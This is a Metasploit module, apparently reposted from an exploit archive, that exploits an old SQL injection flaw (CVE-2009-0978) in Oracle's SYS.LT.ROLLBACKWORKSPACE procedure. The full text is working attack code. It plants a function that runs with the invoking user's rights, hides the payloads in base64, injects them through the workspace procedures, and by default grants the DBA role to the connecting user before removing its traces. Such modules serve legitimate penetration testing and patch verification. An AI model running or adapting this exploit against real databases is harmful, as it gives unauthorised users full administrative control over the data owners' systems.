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## https://sploitus.com/exploit?id=PACKETSTORM:180722
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::ORACLE
def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle DB SQL Injection via SYS.LT.ROLLBACKWORKSPACE',
'Description' => %q{
This module exploits a sql injection flaw in the ROLLBACKWORKSPACE
procedure of the PL/SQL package SYS.LT. Any user with execute
privilege on the vulnerable package can exploit this vulnerability.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2009-0978' ],
[ 'OSVDB', '53734'],
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2009.html' ],
],
'DisclosureDate' => '2009-05-04'))
register_options(
[
OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]),
])
end
def run
return if not check_dependencies
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
cruft = Rex::Text.rand_text_alpha_upper(rand(5) + 1)
function = "
CREATE OR REPLACE FUNCTION #{cruft}
RETURN VARCHAR2 AUTHID CURRENT_USER
AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '#{datastore['SQL']}';
COMMIT;
RETURN '#{cruft}';
END;"
package1 = %Q|
BEGIN
SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');
END;
|
package2 = %Q|
BEGIN
SYS.LT.ROLLBACKWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');
END;
|
uno = Rex::Text.encode_base64(function)
dos = Rex::Text.encode_base64(package1)
tres = Rex::Text.encode_base64(package2)
sql = %Q|
DECLARE
#{rand1} VARCHAR2(32767);
#{rand2} VARCHAR2(32767);
#{rand3} VARCHAR2(32767);
BEGIN
#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));
EXECUTE IMMEDIATE #{rand1};
#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));
EXECUTE IMMEDIATE #{rand2};
#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{tres}')));
EXECUTE IMMEDIATE #{rand3};
END;
|
clean = "DROP FUNCTION #{cruft}"
print_status("Attempting sql injection on SYS.LT.ROLLBACKWORKSPACE...")
prepare_exec(sql)
print_status("Removing function '#{cruft}'...")
prepare_exec(clean)
end
end